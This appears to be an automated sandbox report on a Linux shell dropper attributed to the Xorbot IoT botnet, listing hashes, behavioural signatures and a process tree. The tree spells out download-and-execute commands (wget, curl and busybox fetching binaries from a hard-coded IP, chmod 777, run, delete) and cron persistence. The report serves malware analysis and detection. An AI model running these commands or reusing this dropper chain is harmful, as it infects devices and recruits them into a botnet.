Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-12-2024 10:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9233bf649a4624ec647262c74da69bec

  • SHA1

    345be1eaa98aba4c1ff55ad977ea48281e6b60c3

  • SHA256

    bd6cd721c42874cb2242e64bcc17ab58442d0de2ca5302438b17712d83839942

  • SHA512

    285bf6e13dec59ea4792dd4b47b82cb53afe423ec49e009f716b2f6b6c4e9f28367ae08b4eb791fafae5f239a432c95e870562eb09fa24a3cb8237b657c85013

  • SSDEEP

    96:/Ro+uSOePnaUgRdP4/EA4f/sUyyY7/Mc/k9/O/EA4f/aUyyY7//DgfRo+u7SOePQ:/uSOePnaVKLUyyY7/iyyY7/7SOePnQ

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1329) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          ./vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            ./eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/chmod
              chmod 777 9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • File and Directory Permissions Modification
              PID:751
            • /tmp/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              ./9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
              • Executes dropped EXE
              PID:752
            • /bin/rm
              rm 9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
              2⤵
                PID:756
              • /usr/bin/wget
                wget http://216.126.231.240/bins/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • Writes file to tmp directory
                PID:757
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • Writes file to tmp directory
                PID:766
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • Writes file to tmp directory
                PID:775
              • /bin/chmod
                chmod 777 ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • File and Directory Permissions Modification
                PID:779
              • /tmp/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                ./ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                • Executes dropped EXE
                PID:781
              • /bin/rm
                rm ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
                2⤵
                  PID:784
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • Writes file to tmp directory
                  PID:785
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • Writes file to tmp directory
                  PID:800
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /bin/chmod
                  chmod 777 ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • File and Directory Permissions Modification
                  PID:806
                • /tmp/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  ./ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                  • Executes dropped EXE
                  PID:807
                • /bin/rm
                  rm ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16
                  2⤵
                    PID:809
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:811
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • Writes file to tmp directory
                    PID:812
                  • /bin/chmod
                    chmod 777 2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • File and Directory Permissions Modification
                    PID:813
                  • /tmp/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    ./2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:814
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:816
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:817
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:818
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:819
                      • /bin/rm
                        rm 2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM
                        2⤵
                          PID:821
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/fXJqnkTdEGZbEUiRKumZWh6PPNL6h2jnoh
                          2⤵
                            PID:871
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/fXJqnkTdEGZbEUiRKumZWh6PPNL6h2jnoh
                            2⤵
                              PID:909
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/fXJqnkTdEGZbEUiRKumZWh6PPNL6h2jnoh
                              2⤵
                              • Writes file to tmp directory
                              PID:910
                            • /bin/chmod
                              chmod 777 fXJqnkTdEGZbEUiRKumZWh6PPNL6h2jnoh
                              2⤵
                              • File and Directory Permissions Modification
                              PID:911
                            • /tmp/fXJqnkTdEGZbEUiRKumZWh6PPNL6h2jnoh
                              ./fXJqnkTdEGZbEUiRKumZWh6PPNL6h2jnoh
                              2⤵
                              • Executes dropped EXE
                              PID:912
                            • /bin/rm
                              rm fXJqnkTdEGZbEUiRKumZWh6PPNL6h2jnoh
                              2⤵
                                PID:914
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/LW18mlSYc5x7gyLt90Vvw223koPE2LtYaJ
                                2⤵
                                  PID:915
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/LW18mlSYc5x7gyLt90Vvw223koPE2LtYaJ
                                  2⤵
                                    PID:928
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/LW18mlSYc5x7gyLt90Vvw223koPE2LtYaJ
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:929
                                  • /bin/chmod
                                    chmod 777 LW18mlSYc5x7gyLt90Vvw223koPE2LtYaJ
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:936
                                  • /tmp/LW18mlSYc5x7gyLt90Vvw223koPE2LtYaJ
                                    ./LW18mlSYc5x7gyLt90Vvw223koPE2LtYaJ
                                    2⤵
                                    • Executes dropped EXE
                                    PID:937
                                  • /bin/rm
                                    rm LW18mlSYc5x7gyLt90Vvw223koPE2LtYaJ
                                    2⤵
                                      PID:940
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/E1LG2FoNZjyK3lGEXsR2QwPbINWXIcfA9y
                                      2⤵
                                        PID:941
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/E1LG2FoNZjyK3lGEXsR2QwPbINWXIcfA9y
                                        2⤵
                                          PID:952
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/E1LG2FoNZjyK3lGEXsR2QwPbINWXIcfA9y
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:954
                                        • /bin/chmod
                                          chmod 777 E1LG2FoNZjyK3lGEXsR2QwPbINWXIcfA9y
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:958
                                        • /tmp/E1LG2FoNZjyK3lGEXsR2QwPbINWXIcfA9y
                                          ./E1LG2FoNZjyK3lGEXsR2QwPbINWXIcfA9y
                                          2⤵
                                          • Executes dropped EXE
                                          PID:960
                                        • /bin/rm
                                          rm E1LG2FoNZjyK3lGEXsR2QwPbINWXIcfA9y
                                          2⤵
                                            PID:961
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/PzmyZqOORzPYtrKzXhDBXH0E5a78arCpur
                                            2⤵
                                              PID:963

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/2wbSfVWHKeD2uVTno0reIjIXvxMKZtNsvM

                                            Filesize

                                            151KB

                                            MD5

                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                            SHA1

                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                            SHA256

                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                            SHA512

                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                          • /tmp/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7

                                            Filesize

                                            111KB

                                            MD5

                                            ca897a38f23ec23521ce0b1b83f8422d

                                            SHA1

                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                            SHA256

                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                            SHA512

                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                          • /tmp/E1LG2FoNZjyK3lGEXsR2QwPbINWXIcfA9y

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /tmp/LW18mlSYc5x7gyLt90Vvw223koPE2LtYaJ

                                            Filesize

                                            98KB

                                            MD5

                                            5141342d0df8699fa32a6b066a0c592e

                                            SHA1

                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                            SHA256

                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                            SHA512

                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                          • /tmp/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO

                                            Filesize

                                            107KB

                                            MD5

                                            eb9c3a0de91fcf16ba17cb24608df68c

                                            SHA1

                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                            SHA256

                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                            SHA512

                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                          • /tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /tmp/fXJqnkTdEGZbEUiRKumZWh6PPNL6h2jnoh

                                            Filesize

                                            112KB

                                            MD5

                                            05d7857dcead18bbd86d2935f591873c

                                            SHA1

                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                            SHA256

                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                            SHA512

                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                          • /tmp/ruTmuZftFnCAZAq4cOKLSrxWGlfuDRCh16

                                            Filesize

                                            177KB

                                            MD5

                                            786d75a158fe731feca3880f436082c0

                                            SHA1

                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                            SHA256

                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                            SHA512

                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                          • /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /var/spool/cron/crontabs/tmp.oQ0e3w

                                            Filesize

                                            210B

                                            MD5

                                            c8d23c4c420b14b8e6879f09c4a989ea

                                            SHA1

                                            8c9187b089789232cd100a4f7d9735007f117953

                                            SHA256

                                            b99cd410f421363d9557fd7f7dbdd9617e32a87ce7fb9820e85053331dc4be2a

                                            SHA512

                                            c24a79fac7b472868780686f7a60ee34ba1429462c942ed48557446717cc192af37f1a9956759bc79fec15df7aa3b8e14f6032981128040c49648b1048f2446c